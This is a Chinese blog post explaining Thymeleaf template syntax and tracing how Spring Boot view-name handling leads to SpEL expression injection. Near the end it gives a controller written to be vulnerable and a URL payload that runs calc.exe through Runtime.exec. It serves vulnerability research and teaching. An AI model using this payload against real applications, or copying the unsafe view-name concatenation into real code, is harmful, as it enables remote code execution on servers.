SSTI-Thymeleaf模板注入漏洞

admin 2023年9月7日20:55:56评论23 views字数 13186阅读43分57秒阅读模式

SSTI-Thymeleaf模板注入漏洞

一、Thymeleaf 简介

Thymeleaf 是一个服务器端 Java 模板引擎,能够处理 HTML、XML、CSS、JAVASCRIPT 等模板文件。Thymeleaf 模板可以直接当作静态原型来使用,它主要目标是为开发者的开发工作流程带来优雅的自然模板,也是 Java 服务器端 HTML5 开发的理想选择。

Thymeleaf 通过在 html 标签中,增加额外属性来达到“模板+数据”的展示方式,示例代码如下:

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<!--th:text 为 Thymeleaf 属性,用于在展示文本-->
<h1 th:text="迎您来到Thymeleaf">欢迎您访问静态页面 HTML</h1>
</body>
</html>

Thymeleaf 模板引擎具有以下特点:

  • 动静结合:Thymeleaf 既可以直接使用浏览器打开,查看页面的静态效果,也可以通过 Web 应用程序进行访问,查看动态页面效果。
  • 开箱即用:Thymeleaf 提供了 Spring 标准方言以及一个与 SpringMVC 完美集成的可选模块,可以快速的实现表单绑定、属性编辑器、国际化等功能。
  • 多方言支持:它提供了 Thymeleaf 标准和 Spring 标准两种方言,可以直接套用模板实现 JSTL、 OGNL 表达式;必要时,开发人员也可以扩展和创建自定义的方言。
  • 与 SpringBoot 完美整合:SpringBoot 为 Thymeleaf 提供了的默认配置,并且还为 Thymeleaf 设置了视图解析器,因此 Thymeleaf 可以与 Spring Boot 完美整合。

二、Thymeleaf 语法

1、声明名称空间

在 html 标签中声明此名称空间,可避免编辑器出现 html 验证错误,但这一步并非必须进行的,即使我们不声明该命名空间,也不影响 Thymeleaf 的使用。

xmlns:th="http://www.thymeleaf.org"

2、标签

标签 作用 示例
th:id 替换id <input th:id="${user.id}"/>
th:text 文本替换 <p text:="${user.name}">bigsai</p>
th:utext 支持html的文本替换 <p utext:="${htmlcontent}">content</p>
th:object 替换对象 <div th:object="${user}"></div>
th:value 替换值 <input th:value="${user.name}" >
th:each 迭代 <tr th:each="student:${user}" >
th:href 替换超链接 <a th:href="@{index.html}">超链接</a>
th:src 替换资源 <script type="text/javascript" th:src="@{index.js}"></script>

3、变量表达式

使用 ${} 包裹的表达式被称为变量表达式,该表达式具有以下功能:

  • 获取对象的属性和方法
  • 使用内置的基本对象
  • 使用内置的工具对象

① 获取对象的属性和方法

使用变量表达式可以获取对象的属性和方法,例如,获取 person 对象的 lastName 属性,表达式形式如下:

${person.lastName}

② 使用内置的基本对象

使用变量表达式还可以使用内置基本对象,获取内置对象的属性,调用内置对象的方法。 Thymeleaf 中常用的内置基本对象如下:

  • #ctx :上下文对象;
  • #vars :上下文变量;
  • #locale:上下文的语言环境;
  • #request:HttpServletRequest 对象(仅在 Web 应用中可用);
  • #response:HttpServletResponse 对象(仅在 Web 应用中可用);
  • #session:HttpSession 对象(仅在 Web 应用中可用);
  • #servletContext:ServletContext 对象(仅在 Web 应用中可用)。

例如,我们通过以下 2 种形式,都可以获取到 session 对象中的 map 属性:

${#session.getAttribute('map')}
${session.map}

③ 使用内置的工具对象

除了能使用内置的基本对象外,变量表达式还可以使用一些内置的工具对象。

  • strings:字符串工具对象,常用方法有:equals、equalsIgnoreCase、length、trim、toUpperCase、toLowerCase、indexOf、substring、replace、startsWith、endsWith,contains 和 containsIgnoreCase 等;
  • numbers:数字工具对象,常用的方法有:formatDecimal 等;
  • bools:布尔工具对象,常用的方法有:isTrue 和 isFalse 等;
  • arrays:数组工具对象,常用的方法有:toArray、length、isEmpty、contains 和 containsAll 等;
  • lists/sets:List/Set 集合工具对象,常用的方法有:toList、size、isEmpty、contains、containsAll 和 sort 等;
  • maps:Map 集合工具对象,常用的方法有:size、isEmpty、containsKey 和 containsValue 等;
  • dates:日期工具对象,常用的方法有:format、year、month、hour 和 createNow 等。

4、 选择变量表达式

选择变量表达式与变量表达式功能基本一致,只是在变量表达式的基础上增加了与 th:object 的配合使用。当使用 th:object 存储一个对象后,我们可以在其后代中使用选择变量表达式(*{...})获取该对象中的属性,其中,“*”即代表该对象。

<div th:object="${session.user}" >
  <p th:text="*{fisrtName}">firstname</p>
</div>

5、链接表达式

不管是静态资源的引用,还是 form 表单的请求,凡是链接都可以用链接表达式 (@{...})。

链接表达式的形式结构如下:

  • 无参请求:@{/xxx}
  • 有参请求:@{/xxx(k1=v1,k2=v2)}

例如使用链接表达式引入 css 样式表,代码如下:

<link href="asserts/css/signin.css" th:href="@{/asserts/css/signin.css}" rel="stylesheet">

6、 国际化表达式

消息表达式一般用于国际化的场景。结构如下:

th:text="#{msg}"

7、 片段引用表达式

片段表达式~{}可以用来引用一段公共的 HTML 代码片段。

语法 描述
~{templatename} 引用整个模板文件的代码片段
~{templatename :: selector} selector 可以是 th:fragment 指定的名称或其他选择器。 如类选择器、ID选择器等
~{::selector} 相当于 ~{this :: selector},表示引用当前模板定义的代码片段

在 Thymeleaf 模板文件中,你可以使用th:fragment属性来定义一段公共的代码片段,然后你可以通过使用th:insert、th:replace、th:include(Thymeleaf 3.0 开始不再推荐使用,本文也将不再介绍它)属性来将这些公共的代码片段引入到模板文件中来。

src/main/resources/templates/base.html,通过th:fragment属性定义一段公共的代码片段:

<div id="footer" th:fragment="footerFragment">© 2017 fanlychie</div>

src/main/resources/templates/index.html,通过th:insert属性引用一段公共的代码片段:

<div th:insert="~{base :: footerFragment}"></div>

其中,~{}是可选的,我们可以去掉这层的包裹:

<div th:insert="base :: footerFragment"></div>

若 index.html 与 base.html 不在同级目录,如 templates/commons/base.html:

<div th:insert="~{commons/base :: footerFragment}"></div>

使用th:fragment属性定义代码片段时,你还可以声明一组参数:

<div th:fragment="crumbs(parent, child)">  <i th:text="${parent}"></i> <i th:text="${child}"></i> </div> <!-- <i>用户中心</i> <i>我的订单</i> --> <div th:insert="::crumbs('用户中心', '我的订单')"></div>

此外,我们还可以通过类选择器、ID选择器等来引用公共的代码片段:

<div th:insert="~{base :: #footer}"></div>

除了th:insert属性th:replace也可以用来引用公共的代码片段。不同的是,th:insert是直接将代码片段插入到标签体内,而th:replace则是用代码片段直接替换标签体内容。

<!-- <div> <div id="footer">© 2017 fanlychie</div> </div> --> <div th:insert="~{base :: footerFragment}"></div> <!-- <div id="footer">© 2017 fanlychie</div> --> <div th:replace="~{base :: footerFragment}"></div>

8、Springboot 配置内容

# THYMELEAF (ThymeleafAutoConfiguration)
spring.thymeleaf.cache=true # Whether to enable template caching.
spring.thymeleaf.check-template=true # Whether to check that the template exists before rendering it.
spring.thymeleaf.check-template-location=true # Whether to check that the templates location exists.
spring.thymeleaf.enabled=true # Whether to enable Thymeleaf view resolution for Web frameworks.
spring.thymeleaf.enable-spring-el-compiler=false # Enable the SpringEL compiler in SpringEL expressions.
spring.thymeleaf.encoding=UTF-8 # Template files encoding.
spring.thymeleaf.excluded-view-names= # Comma-separated list of view names (patterns allowed) that should be excluded from resolution.
spring.thymeleaf.mode=HTML # Template mode to be applied to templates. See also Thymeleaf's TemplateMode enum.
spring.thymeleaf.prefix=classpath:/templates/ # Prefix that gets prepended to view names when building a URL.
spring.thymeleaf.reactive.chunked-mode-view-names= # Comma-separated list of view names (patterns allowed) that should be the only ones executed in CHUNKED mode when a max chunk size is set.
spring.thymeleaf.reactive.full-mode-view-names= # Comma-separated list of view names (patterns allowed) that should be executed in FULL mode even if a max chunk size is set.
spring.thymeleaf.reactive.max-chunk-size=0 # Maximum size of data buffers used for writing to the response, in bytes.
spring.thymeleaf.reactive.media-types= # Media types supported by the view technology.
spring.thymeleaf.servlet.content-type=text/html # Content-Type value written to HTTP responses.
spring.thymeleaf.suffix=.html # Suffix that gets appended to view names when building a URL.
spring.thymeleaf.template-resolver-order= # Order of the template resolver in the chain.
spring.thymeleaf.view-names= # Comma-separated list of view names (patterns allowed) that can be resolved.

三、Thymeleaf 模板注入漏洞

1、创建 demo

创建spring boot 项目,模板选择Thymeleaf

SSTI-Thymeleaf模板注入漏洞
img

添加application.properties 配置

spring.thymeleaf.cache=false
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html

编写模板文件 index.html

<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>title</title>
</head>
<body>
hello word
<div th:text="${name}"></div>
</body>
</html>

编写 controller

package com.example.thymeleaf.controller;


import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;

@Controller
public class IndexController {

    @GetMapping("/index")//页面的url地址
    public String index(Model model){
        model.addAttribute("name","baigei");
        return "index";
    }
}

启动Spring boot 成功访问

SSTI-Thymeleaf模板注入漏洞
img

2、调用过程(spring boot 2.4.1)

Spring boot 所有http请求均调用org.springframework.web.servlet.FrameworkServlet#service()方法进行处理,调用super.service()进行处理

SSTI-Thymeleaf模板注入漏洞
img

调用至javax.servlet.http.HttpServlet#service()

SSTI-Thymeleaf模板注入漏洞
img

调用至javax.servlet.http.HttpServlet#doget()  -->

org.springframework.web.servlet.FrameworkServlet#processRequest()  -->

org.springframework.web.servlet.DispatcherServlet#doService()  -->  org.springframework.web.servlet.DispatcherServlet #doDispatch() -->

SSTI-Thymeleaf模板注入漏洞
img

doDispatch() 方法中,重点为下面3个方法

1、ha.handle() ,获取ModelAndView也就是Controller中的return值

2、applyDefaultViewName(),对当前 ModelAndView 做判断,如果为null则进入 defalutViewName 部分处理,将URI path作为 mav 的值

3、processDispatchResult(),处理视图并解析执行表达式以及抛出异常回显部分处理

SSTI-Thymeleaf模板注入漏洞
img

跟进 ha.handle() ,调用至org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#handleInternal()

SSTI-Thymeleaf模板注入漏洞
img

org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#handleInternal() 使用Handler处理request并获取ModelAndView

SSTI-Thymeleaf模板注入漏洞
img

org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#invokeHandlerMethod()

SSTI-Thymeleaf模板注入漏洞
img

org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle() 调用 invokeForRequest() 方法,根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户。若 returnValue 值为不空则返回值

SSTI-Thymeleaf模板注入漏洞
img

上面Controller中return的字符串并根据前缀和后缀拼接起来,默认在templates目录下寻找模版文件(可通过spring.thymeleaf.prefix=classpath:/templates/配置修改)

跟进applyDefaultViewName(),若 ModelAndView 值不为 null 且 defaultViewName 不为空,即以 URI path 作为视图名称

org.springframework.web.servle.DispatcherServlet#applyDefaultViewName()

private void applyDefaultViewName(HttpServletRequest request, @Nullable ModelAndView mv) throws Exception {
    if (mv != null && !mv.hasView()) {
        String defaultViewName = this.getDefaultViewName(request);
        if (defaultViewName != null) {
            mv.setViewName(defaultViewName);
        }
    }

}

org.springframework.web.servle.DispatcherServlet#getDefaultViewName()

SSTI-Thymeleaf模板注入漏洞
img

跟进 org.springframework.web.servlet.DispatcherServlet #processDispatchResult()

SSTI-Thymeleaf模板注入漏洞
img

org.springframework.web.servlet.DispatcherServlet#render()

SSTI-Thymeleaf模板注入漏洞
img

org.thymeleaf.spring5.view.ThymeleafView#render()

SSTI-Thymeleaf模板注入漏洞
img

org.thymeleaf.spring5.view.ThymeleafView#renderFragment()

protected void renderFragment(final Set<String> markupSelectorsToRender, final Map<String, ?> model, final HttpServletRequest request,
        final HttpServletResponse response)

        throws Exception 
{

    ...

    final String templateName;
    final Set<String> markupSelectors;
 // 
    if (!viewTemplateName.contains("::")) {
        // No fragment specified at the template name

        templateName = viewTemplateName;
        markupSelectors = null;
 //viewTemplateName 中存在 ::  进入 else 
 //如果包含::则代表是一个片段表达式,则需要解析 templateName 和 markupSelector
    } else {
        // Template name contains a fragment name, so we should parse it as such

        final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

        final FragmentExpression fragmentExpression;
        try {
            // By parsing it as a standard expression, we might profit from the expression cache
            //调用 parseExpression() 解析 context, "~{" + viewTemplateName + "}"
            fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
        } catch (final TemplateProcessingException e) {
            throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
        }
 ...
    }

IndexController 中 viewTempalteName 中不含 :: ,编写存在漏洞 controller SSTIController,代码如下:

package com.example.thymeleaf.controller;


import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class SSTIController {

    @RequestMapping("/ssti")
    public String ssti(String path){

        return "ssti" + path;
    }
}

访问ssti?path=${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}::.x),debug 至 org.thymeleaf.spring5.view.ThymeleafView#renderFragment() 调用至org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression()

SSTI-Thymeleaf模板注入漏洞
img

org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression()

SSTI-Thymeleaf模板注入漏洞
img

StandardExpressionPreprocessor#preprocess()

private static final char PREPROCESS_DELIMITER = '_';
private static final String PREPROCESS_EVAL = "\_\_(.*?)\_\_";
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\_\_(.*?)\_\_"32);

static String preprocess(IExpressionContext context, String input) {
    if (input.indexOf(95) == -1) {
        return input;
    } else {
        IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
        if (!(expressionParser instanceof StandardExpressionParser)) {
            return input;
        } else {
            // 通过正则获取 "__xxxx__" 中的 xxxx 部分
            Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
            if (!matcher.find()) {
                return checkPreprocessingMarkUnescaping(input);
            } else {
                StringBuilder strBuilder = new StringBuilder(input.length() + 24);
                int curr = 0;

                String remaining;
                do {
                    // 获取 "__xxxx__" 中的 xxxx 部分
                    remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
                    String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
                    strBuilder.append(remaining);
                    IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
                    if (expression == null) {
                        return null;
                    }

                    // SpEL 表达式注入
                    Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
                    strBuilder.append(result);
                    curr = matcher.end(0);
                } while(matcher.find());

                remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
                strBuilder.append(remaining);
                return strBuilder.toString().trim();
            }
        }
    }
}

3、漏洞利用

3.1、templatename

controller

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class SSTIController {

    @RequestMapping("/ssti")
    public String ssti(String path){
        return "ssti" + path + "test";
    }
}

payload

ssti?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()%7d__::
SSTI-Thymeleaf模板注入漏洞
img

原文始发于微信公众号(白给信安):SSTI-Thymeleaf模板注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月7日20:55:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSTI-Thymeleaf模板注入漏洞https://cn-sec.com/archives/2015664.html

发表评论

匿名网友 填写信息